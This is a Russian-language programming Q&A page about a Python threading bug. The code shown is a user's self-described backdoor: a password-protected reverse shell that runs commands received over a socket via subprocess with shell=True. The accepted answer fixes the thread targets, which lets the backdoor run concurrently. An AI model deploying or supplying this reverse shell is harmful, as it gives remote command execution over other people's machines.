Как исправить блокировку скрипта Python функцией, даже если он многопоточный

Я пробую бэкдор-программу, которую я сделал для развлечения, и она многопоточная, но инициализируется только первый поток, а затем остальная часть программы блокируется до тех пор, пока функция не завершится. Он должен печатать время каждые 10 секунд, но одновременно с этим должен работать бэкдор.

Я использую netcat для связи со сценарием. 'nc -l 1234' в Терминале

Пробовал печатать сразу после инициализации, но ничего не напечатал.

Если я сначала инициализирую другой поток, другой блокируется (первый человек на мельнице).

Функц. первых потоков. должен закончиться, прежде чем начнется следующий.

Импортирует и большинство переменных, включая блокировки.

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

Функции

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if (usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if (inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

Это инициализируется

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

Это не

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

Я ожидаю, что два потока будут работать одновременно, но это не так, и первый блокирует основной поток, а второй поток должен быть инициализирован.

Почему в Python есть оператор "pass"?
Почему в Python есть оператор "pass"?
Оператор pass в Python - это простая концепция, которую могут быстро освоить даже новички без опыта программирования.
Некоторые методы, о которых вы не знали, что они существуют в Python
Некоторые методы, о которых вы не знали, что они существуют в Python
Python - самый известный и самый простой в изучении язык в наши дни. Имея широкий спектр применения в области машинного обучения, Data Science,...
Основы Python Часть I
Основы Python Часть I
Вы когда-нибудь задумывались, почему в программах на Python вы видите приведенный ниже код?
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
Алиса и Боб имеют неориентированный граф из n узлов и трех типов ребер:
Оптимизация кода с помощью тернарного оператора Python
Оптимизация кода с помощью тернарного оператора Python
И последнее, что мы хотели бы показать вам, прежде чем двигаться дальше, это
Советы по эффективной веб-разработке с помощью Python
Советы по эффективной веб-разработке с помощью Python
Как веб-разработчик, Python может стать мощным инструментом для создания эффективных и масштабируемых веб-приложений.
0
0
103
2
Перейти к ответу Данный вопрос помечен как решенный

Ответы 2

Вы не предоставили свой экземпляр потока в этом(), так что мы немного в неведении.

Однако общий подход заключается в

  • подкласс threading.Thread и в функции экземпляра в этом() убедитесь, что вы вызываете threading.Thread.__init__(self)

  • в вашей рутине __main__() вызовите os.fork(), а затем, если в дочернем процессе вызовите run().

У меня есть функциональный пример этого в https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

Я дал вам весь код. Я не совсем уверен, что вы имеете в виду. Не могли бы вы попытаться объяснить немного проще. (Не самый умный человек из ныне живущих.)

Jacob 07.04.2019 00:02
Ответ принят как подходящий

Вот проблема: в «threading.Thread» параметр «target», как ожидается, будет именем функции, не ставьте круглые скобки после того, как ваша функция просто поместила имя функции:

изменить эти

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

к:

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

Другие вопросы по теме